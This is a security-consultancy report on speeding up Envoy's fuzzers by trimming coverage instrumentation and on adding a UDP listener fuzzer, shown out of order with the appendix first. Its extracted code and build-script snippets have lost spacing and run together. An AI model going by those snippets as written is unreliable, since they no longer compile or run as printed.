esi,0x5e03a00x0000000000557dbc <+76>: call 0x557df0<_ZNSt3__1lsINS_11char_traitsIcEEEERNS_13basic_ostreamIcT_EES6_PKc>0x0000000000557dc1 <+81>: mov rdi,rax0x0000000000557dc4 <+84>: mov rsi,r140x0000000000557dc7 <+87>: call 0x557e30<_ZNSt3__1lsINS_11char_traitsIcEEEERNS_13basic_ostreamIcT_EES6_PKh>0x0000000000557dcc <+92>: mov esi,0x5e03e00x0000000000557dd1 <+97>: mov rdi,rax0x0000000000557dd4 <+100>: call 0x557df0\nAda Logics\nLondon, United Kingdom\n21\nEnvoy fuzzing improvements\n,\nApril 2021\n<_ZNSt3__1lsINS_11char_traitsIcEEEERNS_13basic_ostreamIcT_EES6_PKc>0x0000000000557dd9 <+105>: jmp 0x557de2 <_ZL17EnvoyTestOneInputPKhm+114>0x0000000000557ddb <+107>: add BYTE PTR [rip+0x2f4318],0x1# 0x84c0fa0x0000000000557de2 <+114>: pop rbx0x0000000000557de3 <+115>: pop r140x0000000000557de5 <+117>: pop rbp0x0000000000557de6 <+118>: retEnd of assembler dump.\nA.1 Build configurations\nConfiguration 1. Regular build\nThis is simply a regular build.\nConfiguration 2.\nThis configuration disables:\n●\nCoverage and bug-finding sanitizers in many of the\nexternal libraries\n●\nCoverage instrumentation of various folders under\nsource/common and\nsource/extensions\n●\nCoverage instrumentation of code in test/ directory.\n●\nCoverage instrumentation of all .pb.cc files and all\n(.cc) files in the bazel-out directory\ndeclare -r DI=\"$(if [ \"$SANITIZER\" != \"coverage\" ]then# Envoy code. Disable coverage instrumentationecho \" --per_file_copt=^.*source/extensions/access_loggers/.*\\.cc\\$@-fsanitize-coverage=0\"echo \" --per_file_copt=^.*source/extensions/filters/.*\\.cc\\$@-fsanitize-coverage=0\"echo \" --per_file_copt=^.*source/extensions/.*\\.cc\\$@-fsanitize-coverage=0\"echo \" --per_file_copt=^.*source/common/protobuf/.*\\.cc\\$@-fsanitize-coverage=0\"echo \" --per_file_copt=^.*source/common/network.*\\.cc\\$@-fsanitize-coverage=0\"echo \" --per_file_copt=^.*source/common/runtime.*\\.cc\\$@-fsanitize-coverage=0\"\n# Envoy test code. Disable coverage instrumentationecho \" --per_file_copt=^.*test/.*\\.cc\\$@-fsanitize-coverage=0\"\n# Disable external libraries.echo \" --per_file_copt=^.*antlr4_runtimes.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_alibaba_hessian2_codec.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*io_opencensus_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_protobuf.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_absl.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*googletest.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_grpc_grpc.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_grpc_grpc.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*boringssl.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*boringssl.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_googlesource_code_re2.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*upb.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*org_brotli.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*org_brotli.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_cel_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_cel_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_jbeder_yaml_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*proxy_wasm_cpp_host/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_google_libprotobuf_mutator/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"\nAda Logics\nLondon, United Kingdom\n22\nEnvoy fuzzing improvements\n,\nApril 2021\necho \" --per_file_copt=^.*com_googlesource_googleurl/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_datadog_dd_opentracing_cpp/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"\n# All protobuf code and code in bazel-outecho \" --per_file_copt=^.*\\.pb\\.cc\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*bazel-out/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"fi)\"\nConfiguration 3.\nThis configuration disables everything that configuration\n2 disables\nexcept\n:\n●\nCode under source/common and source/extensions.\ndeclare -r DI=\"$(if [ \"$SANITIZER\" != \"coverage\" ]then# Envoy code. Disable coverage instrumentation\n# Envoy test code. Disable coverage instrumentationecho \" --per_file_copt=^.*test/.*\\.cc\\$@-fsanitize-coverage=0\"\n# Disable celcpp and grpc correctly.echo \" --per_file_copt=^.*antlr4_runtimes.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_alibaba_hessian2_codec.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*io_opencensus_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_protobuf.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_absl.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*googletest.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_grpc_grpc.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_grpc_grpc.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*boringssl.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*boringssl.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_googlesource_code_re2.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*upb.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*org_brotli.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*org_brotli.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_cel_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_cel_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_jbeder_yaml_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*proxy_wasm_cpp_host/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_google_libprotobuf_mutator/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_googlesource_googleurl/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_datadog_dd_opentracing_cpp/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_envoyproxy_sqlparser.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*grpc_httpjson_transcoding.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*grpc_httpjson_transcoding.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"\n# All protobuf code and code in bazel-outecho \" --per_file_copt=^.*\\.pb\\.cc\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*bazel-out/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"fi)\"\nConfiguration 4\nThis configuration disables everything that configuration\n3 disables\nand also\n:\n●\nDisabling bug-finding instrumentation in files under\nthe test/ directory.\nAda Logics\nLondon, United Kingdom\n23\nEnvoy fuzzing improvements\n,\nApril 2021\ndeclare -r DI=\"$(if [ \"$SANITIZER\" != \"coverage\" ]then# Envoy code. Disable coverage instrumentation\n# Envoy test code. Disable coverage instrumentationecho \" --per_file_copt=^.*test/.*\\.cc\\$@-fsanitize-coverage=0,-fno-sanitize=all\"\n# Disable celcpp and grpc correctly.echo \" --per_file_copt=^.*antlr4_runtimes.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_alibaba_hessian2_codec.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*io_opencensus_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_protobuf.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_absl.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*googletest.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_grpc_grpc.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_grpc_grpc.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*boringssl.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*boringssl.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_googlesource_code_re2.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*upb.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*org_brotli.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*org_brotli.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_cel_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_cel_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_jbeder_yaml_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*proxy_wasm_cpp_host/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_google_libprotobuf_mutator/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_googlesource_googleurl/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_datadog_dd_opentracing_cpp/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_envoyproxy_sqlparser.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*grpc_httpjson_transcoding.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*grpc_httpjson_transcoding.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"\n# All protobuf code and code in bazel-outecho \" --per_file_copt=^.*\\.pb\\.cc\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*bazel-out/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"fi)\"\nConfiguration 5\nThis configuration disables everything that configuration\n4 disables\nand also\n:\n●\nDisabling coverage instrumentation of all .cc files\nin source/server folder.\ndeclare-r DI=\"$(if [ \"$SANITIZER\" != \"coverage\" ]then# Envoy code. Disable coverage instrumentationecho \" --per_file_copt=^.*source/server.*\\.cc\\$@-fsanitize-coverage=0\"# Envoy test code. Disable coverage instrumentationecho \" --per_file_copt=^.*test/.*\\.cc\\$@-fsanitize-coverage=0,-fno-sanitize=all\"\n# Disable celcpp and grpc correctly.echo \" --per_file_copt=^.*antlr4_runtimes.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_alibaba_hessian2_codec.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*io_opencensus_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_protobuf.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_absl.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*googletest.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_grpc_grpc.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_grpc_grpc.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*boringssl.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*boringssl.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"\nAda Logics\nLondon, United Kingdom\n24\nEnvoy fuzzing improvements\n,\nApril 2021\necho \" --per_file_copt=^.*com_googlesource_code_re2.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*upb.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*org_brotli.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*org_brotli.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_cel_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_cel_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_jbeder_yaml_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*proxy_wasm_cpp_host/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_google_libprotobuf_mutator/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_googlesource_googleurl/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_datadog_dd_opentracing_cpp/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_envoyproxy_sqlparser.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*grpc_httpjson_transcoding.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*grpc_httpjson_transcoding.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"\n# All protobuf code and code in bazel-outecho \" --per_file_copt=^.*\\.pb\\.cc\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*bazel-out/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"fi)\"\nConfiguration 6\nThis configuration is similar to configuration #4,\nhowever, it also includes the use of a file\nwith a function name regex on the path /src/blog_list.txt.\nThis file is used by\nSanitizerCoverage\nto disable coverage instrumentation\nin functions that match the regular\nexpression, the contents of this file is:\nfun:*envoy*\nThe important part of the build.sh script is as follows:\ndeclare-r DI=\"$(if [ \"$SANITIZER\" != \"coverage\" ]then# Envoy code. Disable coverage instrumentation\n# Envoy test code. Disable coverage instrumentationecho \" --per_file_copt=^.*test/.*\\.cc\\$@-fsanitize-coverage=0,-fno-sanitize=all\"\n# Disable celcpp and grpc correctly.echo \" --per_file_copt=^.*antlr4_runtimes.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_alibaba_hessian2_codec.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*io_opencensus_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_protobuf.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_absl.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*googletest.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_grpc_grpc.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_grpc_grpc.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*boringssl.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*boringssl.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_googlesource_code_re2.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*upb.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*org_brotli.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*org_brotli.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_cel_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_google_cel_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_jbeder_yaml_cpp.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*proxy_wasm_cpp_host/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_google_libprotobuf_mutator/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"\nAda Logics\nLondon, United Kingdom\n25\nEnvoy fuzzing improvements\n,\nApril 2021\necho \" --per_file_copt=^.*com_googlesource_googleurl/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_lightstep_tracer_cpp/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_datadog_dd_opentracing_cpp/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*com_github_envoyproxy_sqlparser.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*grpc_httpjson_transcoding.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*grpc_httpjson_transcoding.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"\n# All protobuf code and code in bazel-outecho \" --per_file_copt=^.*\\.pb\\.cc\\$@-fsanitize-coverage=0,-fno-sanitize=all\"echo \" --per_file_copt=^.*bazel-out/.*\\$@-fsanitize-coverage=0,-fno-sanitize=all\"fi)\"\n# Benchmark about 3 GB per CPU (10 threads for 28.8GB RAM)# TODO(asraa): Remove deprecation warnings when Envoyand deps moves to C++17bazel build -s --verbose_failures --dynamic_mode=off${DI}\\--per_file_copt=\"^.*\\$\"@\"-Wno-error=unused-command-line-argument\"\\--per_file_copt=\"^.*\\$\"@\"-fsanitize-coverage-blocklist=/src/block_list.txt\"\\\nA.2 Envoy UDP fuzzer coverage\nEnvoy::Network::UdpListenerImpl::handleReadCallback\n:\nhttps://storage.googleapis.com/oss-fuzz-coverage/envoy/reports/202\n10423/linux/proc/self/cwd/source/common/network/udp_listener_impl.\ncc.html#L72\nAda Logics\nLondon, United Kingdom\n26\nEnvoy fuzzing improvements\n,\nApril 2021\nEnvoy::Network::Utility::readFromSocket\nhttps://storage.googleapis.com/oss-fu\nzz-coverage/envoy/reports/20210423/linux/proc/self/cwd/source/common/network/utility.cc.ht\nml#L576\nAda Logics\nLondon, United Kingdom\n27\nEnvoy fuzzing improvements\n,\nApril 2021\nAda Logics\nLondon, United Kingdom\n28\n"}],"string":"[\n {\n \"data\": \"Envoy fuzzing improvements\\n,\\nApril 2021\\nEnvoy fuzzing improvements\\npresented by\\nin collaboration with\\nA u t h o r s\\nDavid Korczynski\\n<\\ndavid@adalogics.com\\n>\\nAdam Korczynski\\n<\\nadam@adalogics.com\\n>\\nDate: 29th april, 2021\\nThis report is licensed under Creative Commons 4.0\\n(CC BY 4.0)\\nAda Logics\\nLondon, United Kingdom\\n1\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\nTable of Contents\\nExecutive summary\\n3\\n1 Envoy fuzzing optimisations\\n4\\n1.1 Background on how coverage collection in libFuzzer\\nworks.\\n4\\n1.1 is it possible to disable certain 8-bit counters?\\n6\\n1.2 How does coverage instrumentation impact fuzzer\\nexecution speed in Envoy?\\n7\\n1.2.1 Execution speed of an empty fuzzer.\\n7\\n1.2.2 Using Prodfiler to observe the impact.\\n9\\n1.2.3 Using fuzzer instrumentation to assess the overall\\ntime spent with fuzzing.\\n10\\n1.2.4 Counting the number of 8-bit inline counters\\nin each Envoy fuzzer.\\n11\\n1.2.5 Conclusions\\n12\\n1.3 Improving Envoy fuzzer execution by reducing instrumentation\\n13\\n1.3.1 Disabling instrumentation\\n13\\n1.3.2 Results from disabling instrumentation\\n14\\nMeasuring different configurations\\n14\\nDeploying on OSS-Fuzz.\\n15\\n2 Fuzzing the Envoy UdpListener\\n16\\n3 Future advice\\n18\\n4 Conclusions\\n19\\n5 Appendix\\n20\\nA.0 Disassembly of empty fuzzers\\n20\\nA.1 Build configurations\\n22\\nA.2 Envoy UDP fuzzer coverage\\n26\\nAda Logics\\nLondon, United Kingdom\\n2\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\nExecutive summary\\nIn this engagement we performed two tasks. The first\\nwas optimising the performance of\\nend-to-end fuzzers and the second was developing a\\nfuzzer for the UDP listener code of\\nEnvoy.\\nRegarding optimisation, we find that the cause of\\nperformance issues in the end-to-end\\nfuzzers is due to the large amount of code that is\\ninstrumented for coverage-guiding the\\nEnvoy fuzzers. Specifically, the Envoy fuzzers run\\nwith a large amount of inline 8-bit\\ncounters which is a counter inserted by\\nSanitizerCoverage\\non every edge of the target\\napplication. libFuzzer uses the counters by iterating\\nthrough all of the counters after each\\nfuzz iteration in order to measure code coverage.\\nThus, the more counters there are, the\\nmore effort libFuzzer has to spend iterating through\\nall counters on each fuzz iteration. We\\nshow how this impacts Envoy performance in four different\\nways:\\n1.\\nThe exact same empty fuzzer compiled with fuzzer instrumentation\\nruns 419 times\\nslower when also compiled with Envoy instrumentation.\\n2.\\nThe h2_capture_persistent_fuzz_test fuzzer spends\\nonly 20% of the actual execution\\ninside LLVMFuzzerTestOneInput.\\n3.\\nProfilers reveal an excessive amount of time is spent\\ninside coverage-collection\\ncode.\\n4.\\nThe end-to-end fuzzers contain around 1.2 million\\ninline 8-bit counters, which is huge\\nin comparison to other fuzzers, e.g. Lua fuzzers contain\\n6000 inline 8-bit counters.\\nWe show how limiting the coverage instrumentation\\nimproves fuzzer performance and\\nobserve the same effect on OSS-Fuzz statistics.\\nRegarding UDP fuzzing, we develop a UDP fuzzer that\\ntargets the code requested by the\\nEnvoy team, namely handleReadCallback. We demonstrate\\ncode coverage by observing the\\ntarget code in OSS-Fuzz reports, and also demonstrates\\nthat the fuzzer catches the DOS\\nissue previously reported.\\nIn this report we go through both of these tasks and\\nspend considerable detail on the\\ncoverage instrumentation part.\\nAda Logics\\nLondon, United Kingdom\\n3\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\n1 Envoy fuzzing optimisations\\nThe goal of this task was to improve performance of\\nthe end-to-end fuzzers of Envoy. In this\\nsection we go through how we achieved this by first giving background information on how\\nlibFuzzer uses coverage instrumentation, then we proceed\\nto show how this instrumentation\\naffects the Envoy fuzzers, and finally we show how\\nto improve the performance of the\\nfuzzers by reducing instrumentation.\\nExecutive summary:\\nThe instrumentation of Envoy has a significant slowdown\\nof fuzzer execution. For example, a\\nfuzzer with a single branch runs 419 times slower\\nwith Envoy instrumentation than without.\\nLimiting the amount of instrumentation used in the\\nEnvoy project shows to increase\\nperformance of the fuzzers. This has been added to\\nthe OSS-Fuzz build of Envoy, which has\\nshown to increase performance on the OSS-Fuzz logs.\\nThere is future work for the Envoy\\nmaintainers on refining the instrumentation of the\\nfuzzers.\\n1.1 Background on how coverage collection in libFuzzer\\nworks.\\nIn this section we outline how libFuzzer uses coverage\\ninstrumentation to track fuzzer\\nprogress. This is not related to Envoy explicitly,\\nhowever, the content described in this\\nsection gives an improved understanding as to why\\nthe Envoy fuzzers lack performance.\\nIn the LLVM source code, the file llvm-project/compiler-rt/lib/fuzzer/FuzzerTracePC.cpp\\ncontains the logic for tracing coverage. At the bottom\\nof this file you find a set of functions:\\nvoid__sanitizer_cov_trace_pc_guard(uint32_t*Guard)void__sanitizer_cov_trace_pc()void__sanitizer_cov_trace_pc_guard_init(uint32_t*Start,uint32_t*Stop)void__sanitizer_cov_8bit_counters_init(uint8_t*Start,uint8_t*Stop)void__sanitizer_cov_pcs_init(constuintptr_t*pcs_beg,constuintptr_t*pcs_end)void__sanitizer_cov_trace_pc_indir(uintptr_tCallee)void__sanitizer_cov_trace_cmp8(uint64_tArg1,uint64_tArg2)void__sanitizer_cov_trace_const_cmp8(uint64_tArg1,uint64_tArg2)void__sanitizer_cov_trace_cmp4(uint32_tArg1,uint32_tArg2)void__sanitizer_cov_trace_const_cmp4(uint32_tArg1,uint32_tArg2)void__sanitizer_cov_trace_cmp2(uint16_tArg1,uint16_tArg2)void__sanitizer_cov_trace_const_cmp2(uint16_tArg1,uint16_tArg2)void__sanitizer_cov_trace_cmp1(uint8_tArg1,uint8_tArg2)void__sanitizer_cov_trace_const_cmp1(uint8_tArg1,uint8_tArg2)void__sanitizer_cov_trace_switch(uint64_tVal,uint64_t*Cases)void__sanitizer_cov_trace_div4(uint32_tVal)void__sanitizer_cov_trace_div8(uint64_tVal)void__sanitizer_cov_trace_gep(uintptr_tIdx)\\nThese are all callbacks that SanitizerCoverage uses\\n(\\nhttps://clang.llvm.org/docs/SanitizerCoverage.html#id2\\n)\\nand from a high level perspective\\nthe callbacks are used to track execution of code,\\ne.g. basic blocks, in the target. One of the\\nAda Logics\\nLondon, United Kingdom\\n4\\nEnvoy fuzzing improvements\\n,\\nApril 2021\\nimportant callback functions is__sanitizer_cov_8bit_counters_init\\nwhich is described\\nhere\\nhttps://clang.llvm.org/docs/SanitizerCoverage.html#inline-8bit-counters\\n.\\nThis callback is\\nused during fuzzing compilation and instructs the\\ncompiler to insert inline counter increments\\non every code edge. The idea is then that these counters\\ncan be used to track how many\\ntimes an edge was hit during execution.\\nThe way libFuzzer uses these 8bit-counters is by iterating\\nthrough all of them, i.e. iteration\\nthrough a sequence of counters corresponding to the\\nnumber of edges in the target\\napplication, after each fuzz iteration in order to\\ndetermine if new coverage has been\\nachieved.\\nIn theRunOne\\nfunction inside the FuzzerLoop.cpp\\n(\\nhttps://github.com/llvm/llvm-project/blob/28ab7ff2d732fb0580486baa02b1383a72cec0cb/co\\nmpiler-rt/lib/fuzzer/FuzzerLoop.cpp#L506\\n) source we\\nobserve the following code:\\nExecuteCallback(Data, Size);autoTimeOfUnit = duration_cast(UnitStopTime- UnitStartTime);\\nUniqFeatureSetTmp.clear();size_tFoundUniqFeaturesOfII =0;size_tNumUpdatesBefore = Corpus.NumFeatureUpdates();TPC.CollectFeatures([&](uint32_tFeature) {if(Corpus.AddFeature(Feature,static_cast(Size),Options.Shrink))UniqFeatureSetTmp.push_back(Feature);if(Options.Entropic)Corpus.UpdateFeatureFrequency(II, Feature);if(Options.ReduceInputs && II && !II->NeverReduce)if(std::binary_search(II->UniqFeatureSet.begin(),II->UniqFeatureSet.end(),Feature))FoundUniqFeaturesOfII++;});\\nThis code snippet has two purposes. First, to runExecuteCallback\\nwhich calls into the\\nfuzzing entry point function (LLVMFuzzerTestOneInput\\n).\\nSecond,\\nto gather the code coverage of the target follow the\\nfuzzer’s single execution, which\\nis done byTPC.CollectFeatures\\n. TheTPC.CollectFeatures\\ncode begins as follows:\\ntemplate //voidCallback(uint32_tFeature)ATTRIBUTE_NO_SANITIZE_ADDRESSATTRIBUTE_NOINLINEsize_tTracePC::CollectFeatures(Callback HandleFeature)const{autoHandle8bitCounter = [&](size_tFirstFeature,size_tIdx,uint8_tCounter) {if(UseCounters)HandleFeature(static_cast(FirstFeature+ Idx *8+CounterToFeature(Counter)));elseHandleFeature(static_cast(FirstFeature+ Idx));};\\nAda Logics\\nLondon, United Kingdom\\n5\\nEnvoy 